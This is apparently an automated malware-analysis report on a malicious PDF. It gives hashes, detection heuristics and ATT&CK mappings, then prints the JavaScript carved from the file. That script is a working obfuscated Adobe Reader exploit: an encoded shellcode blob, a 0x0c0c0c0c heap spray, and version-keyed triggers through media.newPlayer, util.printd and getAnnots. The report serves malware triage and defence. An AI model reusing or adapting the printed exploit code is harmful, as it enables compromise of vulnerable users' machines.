Malicious PDF — malware analysis report

Static analysis result for SHA-256 7ed2eccb9efaa6b4…

MALICIOUS

PDF

19.8 KB Created: 2009-12-17 03:14:38 +08:00 Authoring application: PScript5.dll Version 5.2 (via Acrobat Distiller 7.0.5 (Windows)) First seen: 2013-07-25
MD5: a9ef72e9a92dca984e799942a6783b44 SHA-1: be4b18d232c1cd035993b32439f8530f6a61396f SHA-256: 7ed2eccb9efaa6b46471ada73fdb90d902cfbab4faf3ad6c82b4b098f57aaca7
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution

The PDF file contains obfuscated JavaScript that performs a heap spray, indicated by the 'PDF_JS_OBFUSCATED_MULTISTAGE_HEAPSPRAY' heuristic. The script uses `unescape` and `getAnnots` APIs, and the recovered de-obfuscated string ` egistry\ un est` suggests an attempt to establish persistence or execute a payload. The ML classifier also flagged the PDF as malicious with high confidence.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9995

Heuristics 7

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Obfuscated multi-stage PDF JavaScript heap-spray exploit critical CVE related PDF_JS_OBFUSCATED_MULTISTAGE_HEAPSPRAY
    PDF JavaScript hidden behind nested stream filters and/or a custom in-JS decoder (rolling-XOR stager) decodes to a heap-spray / ROP chain. The spray is only visible after unwinding those layers, which is why the raw heap-spray rules miss it. This is an obfuscated multi-stage Adobe Reader JavaScript exploit; the dropped Windows payload (often named Win.Trojan.Agent by signature AV) is the second stage, not the delivery mechanism.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • XFA form low PDF_XFA
    PDF uses XML Forms Architecture — can contain script logic
  • Object number defined twice with different bodies info PDF_DUPLICATE_OBJ_BODY_INCREMENTAL
    The same indirect object (N G) is defined more than once with different body bytes. First-wins and last-wins readers will resolve different content, which is a parser-confusion shape used by targeted PDFs. Body-only differences are common in benign incremental updates, so severity is raised only when the duplicate carries active content.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/xhtml In PDF document text
    • http://www.xfa.org/schema/xfa-data/1.0/In PDF document text
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0034_000.js pdf-javascript-stream PDF /JS object 34 at offset 0x3819 8613 bytes
SHA-256: e22d2e7cc7bef62a81c4eedab51ddd2f61ee6034e323c81f582813b7eb18dec2
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var asdfghjklasdfghjklasdfghjkl = app.viewerVersion;
var qazwsxedcrfvqazwsxedcrfvqazwsxedcrfvqazwsxedcrfvqazwsxedcrfvqazwsxedcrfv = unescape;
var sasasdfdsewrewrewrwerewrewrewrrewrewrewrew=Array;
var dagewrwerwedsfdsfdsfdsfdsxcvewrer = null;

var lkjlkdsfkjlewrkjlewrlewrjkelwjrklejrkljewrlkjewrklsdfjdlksjflkddsfpoiuwersdfdsfsdxfdsfsxcvcxvdsfdfewzvvxcv = qazwsxedcrfvqazwsxedcrfvqazwsxedcrfvqazwsxedcrfvqazwsxedcrfvqazwsxedcrfv("\x25\x75cccc\x25\x750030\x25\x750000\x25\x750005\x25\x750004\x25\x758b00\x25\x75ebf8\x25\x755e14\x25\x75df8b\x25\x75ceb9\x25\x750000\x25\x75fc00\x25\x7535ad\x25\x75a2a2\x25\x75a2a2\x25\x75e2ab\x25\x75fff7\x25\x75e8d3\x25\x75ffe7\x25\x75ffff\x25\x754b32\x25\x75a258\x25\x75a2a2\x25\x752d60\x25\x757a94\x25\x757d02\x25\x7577b4\x25\x755217\x25\x75da7c\x25\x75a772\x25\x754b2b\x25\x75551c\x25\x7574bc\x25\x75b435\x25\x7558fd\x25\x75c403\x25\x75f4f0\x25\x75f672\x25\x752abb\x25\x75982c\x25\x7589b5\x25\x751039\x25\x75f120\x25\x754100\x25\x75f5c0\x25\x75d1d7\x25\x75d0c7\x25\x759091\x25\x75c68c\x25\x75cece\x25\x75efa2\x25\x75d1c7\x25\x75c3d1\x25\x75c7c5\x25\x75cde0\x25\x75e3da\x25\x75c1a2\x25\x75fe98\x25\x75d0f2\x25\x75c5cd\x25\x75c3d0\x25\x7582cf\x25\x75cbe4\x25\x75c7ce\x25\x75fed1\x25\x75cde1\x25\x75cfcf\x25\x75cccd\x25\x75e482\x25\x75cecb\x25\x75d1c7\x25\x75cffe\x25\x75d7d1\x25\x75c6d2\x25\x75d6c3\x25\x758cc7\x25\x75dac7\x25\x75a2c7\x25\x75c6e3\x25\x75c0cd\x25\x7582c7\x25\x75c7f0\x25\x75c6c3\x25\x75d0c7\x25\x75f6a2\x25\x75c7ca\x25\x75c7d0\x25\x75d582\x25\x75d1c3\x25\x75c382\x25\x7582cc\x25\x75d0c7\x25\x7582d0\x25\x75d2cd\x25\x75ccc7\x25\x75cccb\x25\x7582c5\x25\x75cad6\x25\x75d1cb\x25\x75c682\x25\x75c1cd\x25\x75cfd7\x25\x75ccc7\x25\x758cd6\x25\x75caf6\x25\x7582c7\x25\x75cbe4\x25\x75c7ce\x25\x75cb82\x25\x7582d1\x25\x75c3c6\x25\x75c3cf\x25\x75c7c5\x25\x7582c6\x25\x75ccc3\x25\x7582c6\x25\x75cdc1\x25\x75ced7\x25\x7582c6\x25\x75cdcc\x25\x7582d6\x25\x75c0a8\x25\x7582c7\x25\x75c7d0\x25\x75c3d2\x25\x75d0cb\x25\x75c6c7\x25\x75a28c\x25\x75a2a2\x25\x75a2a2\x25\x75a2a2\x25\x75a2a2\x25\x75a2a2\x25\x75a2a2\x25\x75a2a2\x25\x75a2a2\x25\x75a2a2\x25\x75a2a2\x25\x75a2a2\x25\x75a2a2\x25\x75a2a2\x25\x75a2a2\x25\x75a2a2\x25\x75a2a2\x25\x75a2a2\x25\x75a2a2\x25\x75a2a2\x25\x75a2a2\x25\x75a24a\x25\x75a2a2\x25\x75ffa2\x25\x754f23\x25\x75a25d\x25\x75a2a2\x25\x75894a\x25\x75a2a3\x25\x7529a2\x25\x752972\x25\x752957\x25\x75295c\x25\x75216c\x25\x758e63\x25\x75a44a\x25\x75a2a3\x25\x752fa2\x25\x758ee7\x25\x755df2\x25\x75b6f7\x25\x755a21\x25\x75ada2\x25\x754c26\x25\x75a2a2\x25\x752ba2\x25\x757027\x25\x75a2a2\x25\x752fa2\x25\x7595e7\x25\x755df2\x25\x757017\x25\x75a2a2\x25\x755da2\x25\x75aef7\x25\x755a21\x25\x75ada2\x25\x757026\x25\x75a2a2\x25\x752ba2\x25\x757427\x25\x75a2a2\x25\x7591a2\x25\x752b6b\x25\x757c2f\x25\x75a2a2\x25\x7521a2\x25\x757c27\x25\x75a2a2\x25\x75a6a2\x25\x756b91\x25\x755df3\x25\x757c17\x25\x75a2a2\x25\x755da2\x25\x75aaf7\x25\x75229f\x25\x75a728\x25\x75d0a2\x25\x759f44\x25\x7532a2\x25\x75a2a7\x25\x757dd5\x25\x756b91\x25\x75f3f3\x25\x75a2ca\x25\x75a29b\x25\x755da2\x25\x757c17\x25\x75a2a2\x25\x755da2\x25\x75bef7\x25\x756b91\x25\x752ff3\x25\x754c27\x25\x75a2a2\x25\x75f2a2\x25\x7563e3\x25\x75a043\x25\x752ff3\x25\x754427\x25\x75a2a2\x25\x75f2a2\x25\x75175d\x25\x75a27c\x25\x75a2a2\x25\x75f75d\x25\x75c8ba\x25\x75caa2\x25\x75a222\x25\x75a2a2\x25\x75a0c8\x25\x75a2c8\x25\x75a3c8\x25\x75a2ca\x25\x75a2a2\x25\x752fe2\x25\x75e1e7\x25\x755df2\x25\x75a6f7\x25\x755a21\x25\x75d65d\x25\x752bf6\x25\x754027\x25\x75a2a2\x25\x75c8a2\x25\x75c8a2\x25\x75caa2\x25\x759baa\x25\x75a2a2\x25\x75175d\x25\x75a27c\x25\x75a2a2\x25\x75f75d\x25\x75cabe\x25\x75a6a2\x25\x75a2a2\x25\x75e2c8\x25\x75f75d\x25\x752bb2\x25\x757827\x25\x75a2a2\x25\x7529a2\x25\x754427\x25\x75a2a2\x25\x752ba2\x25\x754827\x25\x75a2a2\x25\x754aa2\x25\x75a23b\x25\x75a2a2\x25\x75e2c8\x25\x75e72f\x25\x75f2cc\x25\x75e72f\x25\x75f2d9\x25\x75a2c8\x25\x75375d\x25\x75a274\x25\x75a2a2\x25\x75a2c8\x25\x75e72f\x25\x75f2e1\x25\x75f75d\x25\x75c886\x25\x75c8a2\x25\x755d5d\x25\x7582f7\x25\x750f32\x25\x75f0f2\x25\x75824a\x25\x75a2a2\x25\x752ba2\x25\x7521a5\x25\x75aa66\x25\x756521\x25\x7599a6\x25\x75d753\x25\x75614e\x25\x7591f4\x25\x75c662\x25\x75e229\x25\x752992\x25\x75aee2\x25\x75d229\x25\x750fbe\x25\x75e229\x25\x75fcaa\x25\x75c261\x25\x75ce29\x25\x758686\x25\x75e729\x25\x75299e\x25\x758af6\x25\x75a1da\x25\x752977\x25\x75bae8\x25\x75f829\x25\x75a182\x25\x75417f\x25\x75eb96\x25\x759629\x25\x75a129\x25\x759157\x25\x75915d\x25\x755e62\x25\x75260e\x25\x75d662\x25\x7563a5\x25\x75a96d\x25\x755aa1\x25\x755649\x25\x75de99\x25\x758a86\x25\x7543d7\x25\x75f829\x25\x75a186\x25\x75c47f\x25\x75ae29\x25\x7529e9\x25\x75bef8\x25\x757fa1\x25\x75a629\x25\x75a129\x25\x752b67\x25\x7586e6\x25\x75c3be\x25\x756561\x25\x755427\x25\x75a2a2\x25\x75a2a2\x25\x75a2a2\x25\x75c8a2\x25\x752fa2\x25\x754c27\x25\x75a2a2\x25\x75f2a2\x25\x751f23\x25\x75a248\x25\x75a2a2\x25\x75a6a2\x25\x75a2a2\x25\x75aadd\x25\x75175d\x25\x75a248\x25\x75a2a2\x25\x75a749\x25\x75a2ca\x25\x75a2a6\x25\x755da2\x25\x757817\x25\x75a2a2\x25\x755da2\x25\x757c17\x25\x75a2a2\x25\x755da2\x25\x75baf7\x25\x756b91\x25\x7529c4\x25\x754c2f\x25\x75a2a2\x25\x7529a2\x25\x75781f\x25\x75a2a2\x25\x7529a2\x25\x751155\x25\x750e0e\x25\x756190\x25\x758a96\x25\x755c08\x25\x754061\x25\x75c854\x25\x752fa2\x25\x755027\x25\x75a2a2\x25\x75f2a2\x25\x75175d\x25\x75a24c\x25\x75a2a2\x25\x753729\x25\x75a278\x25\x75a2a2\x25\x755df0\x25\x754017\x25\x75a2a2\x25\x755da2\x25\x758af7\x25\x753729\x25\x75a250\x25\x75a2a2\x25\x75378b\x25\x75a248\x25\x75a2a2\x25\x751f21\x25\x75a248\x25\x75a2a2\x25\x75ada2\x25\x75d82d\x25\x755d5d\x25\x755d5d\x25\x754017\x25\x75a2a2\x25\x755da2\x25\x75a2f7\x25\x753261"); //1
var xvccvldsfpewirpewirpdsfdsfscvsddsfewrwepodsfdlkiweropiewrewrdsfdsfasdzxcvadsqwepoiikfdsfdscxfcdsdsfdsfdsfewr = qazwsxedcrfvqazwsxedcrfvqazwsxedcrfvqazwsxedcrfvqazwsxedcrfvqazwsxedcrfv("\x25\x75\x30\x630\x63\x25\x75\x30\x630\x63"); //2
var wwsfsdfdsfxcfsjkljlsfjklewriopsdfdsfkjkljsfsdxvcdsfewrewrsdfsczfsdfwepooiwerewrewrewrsdfsdfxcvxcvcxvsdfewrewrewfsdkhjiyuzxvc = qazwsxedcrfvqazwsxedcrfvqazwsxedcrfvqazwsxedcrfvqazwsxedcrfvqazwsxedcrfv("\x25\x750c\x30c\x25\x750c0c\x25\x750c\x30c\x25\x750c0c\x25\x750c0c\x25\x750c0c\x25\x750c0c\x25\x750c0c%u4141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141");

while(xvccvldsfpewirpewirpdsfdsfscvsddsfewrwepodsfdlkiweropiewrewrdsfdsfasdzxcvadsqwepoiikfdsfdscxfcdsdsfdsfdsfewr.length <= 33768) xvccvldsfpewirpewirpdsfdsfscvsddsfewrwepodsfdlkiweropiewrewrdsfdsfasdzxcvadsqwepoiikfdsfdscxfcdsdsfdsfdsfewr+=xvccvldsfpewirpewirpdsfdsfscvsddsfewrwepodsfdlkiweropiewrewrdsfdsfasdzxcvadsqwepoiikfdsfdscxfcdsdsfdsfdsfewr;
xvccvldsfpewirpewirpdsfdsfscvsddsfewrwepodsfdlkiweropiewrewrdsfdsfasdzxcvadsqwepoiikfdsfdscxfcdsdsfdsfdsfewr = xvccvldsfpewirpewirpdsfdsfscvsddsfewrwepodsfdlkiweropiewrewrdsfdsfasdzxcvadsqwepoiikfdsfdscxfcdsdsfdsfdsfewr.substring(0,33768 - lkjlkdsfkjlewrkjlewrlewrjkelwjrklejrkljewrlkjewrklsdfjdlksjflkddsfpoiuwersdfdsfsdxfdsfsxcvcxvdsfdfewzvvxcv.length);
me=new sasasdfdsewrewrewrwerewrewrewrrewrewrewrew();
for(poqwewiruewursdssf=0;poqwewiruewursdssf<0x888;poqwewiruewursdssf++) {
	me[poqwewiruewursdssf]= xvccvldsfpewirpewirpdsfdsfscvsddsfewrwepodsfdlkiweropiewrewrdsfdsfasdzxcvadsqwepoiikfdsfdscxfcdsdsfdsfdsfewr + lkjlkdsfkjlewrkjlewrlewrjkelwjrklejrkljewrlkjewrklsdfjdlksjflkddsfpoiuwersdfdsfsdxfdsfsxcvcxvdsfdfewzvvxcv;
}

if(((asdfghjklasdfghjklasdfghjkl >= 8.0) && (asdfghjklasdfghjklasdfghjkl <= 8.107)) || ((asdfghjklasdfghjklasdfghjkl >= 9.0) && (asdfghjklasdfghjklasdfghjkl <= 9.2)))
{    
   try {this["\x6de\x64i\x61"]["\x6ee\x77P\x6ca\x79e\x72"](dagewrwerwedsfdsfdsfdsfdsxcvewrer);} catch(er) {qazwsxedcrfvqazwsxedcrfvqazwsxedcrfvqazwsxedcrfvqazwsxedcrfvqazwsxedcrfv("\x25\x750c\x30c\x25\x750c\x30c\x25\x750c\x30c\x25\x750c\x30c\x25\x750c\x30c\x25\x750c\x30c");util["\x70r\x69n\x74d"](wwsfsdfdsfxcfsjkljlsfjklewriopsdfdsfkjkljsfsdxvcdsfewrewrsdfsczfsdfwepooiwerewrewrewrsdfsdfxcvxcvcxvsdfewrewrewfsdkhjiyuzxvc, new Date());}
}
else if((asdfghjklasdfghjklasdfghjkl >= 7.0) && (asdfghjklasdfghjklasdfghjkl <= 7.101))
{    
    var qwertyuiopasdfghjklasdfghjklasdfghjklasdfghjklasdfghjklasdfghjklasdfghjklasdfghjklasdfghjklasdfghjklasdfghjklasdfghjkl = -1023217728;
    this.getAnnots({nFilterBy:qwertyuiopasdfghjklasdfghjklasdfghjklasdfghjklasdfghjklasdfghjklasdfghjklasdfghjklasdfghjklasdfghjklasdfghjklasdfghjkl});
}